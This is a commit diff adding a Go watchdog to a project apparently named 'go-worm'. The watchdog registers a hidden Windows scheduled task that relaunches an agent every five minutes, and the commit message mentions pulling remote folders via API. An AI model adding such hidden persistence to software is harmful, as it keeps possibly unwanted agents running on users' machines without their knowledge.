feat(agent): add crash logs and watchdog startup

- Recover panics to disk for diagnostics
- Add 5-minute watchdog task with startup
- Add -ensure flag to start detached agent
- Add script to pull remote folder via API

lib/startup/watchdog.go

@@ -0,0 +1,43 @@
+package startup
+
+import (
+	"fmt"
+	"os/exec"
+	"strings"
+	"syscall"
+
+	"golang.org/x/sys/windows"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+)
+
+func enableWatchdog() error {
+	exe, err := config.InstalledExe()
+	if err != nil {
+		return err
+	}
+	tr := fmt.Sprintf(`"%s" -ensure`, exe)
+	return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/SC", "MINUTE", "/MO", "5", "/TR", tr, "/F")
+}
+
+func disableWatchdog() error {
+	err := runSchtasks("/Delete", "/TN", config.WatchdogTaskName, "/F")
+	if err != nil && strings.Contains(strings.ToLower(err.Error()), "cannot find") {
+		return nil
+	}
+	return err
+}
+
+func runSchtasks(args ...string) error {
+	cmd := exec.Command("schtasks", args...)
+	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
+	out, err := cmd.CombinedOutput()
+	if err != nil {
+		msg := strings.TrimSpace(string(out))
+		if msg == "" {
+			msg = err.Error()
+		}
+		return fmt.Errorf("schtasks: %s", msg)
+	}
+	return nil
+}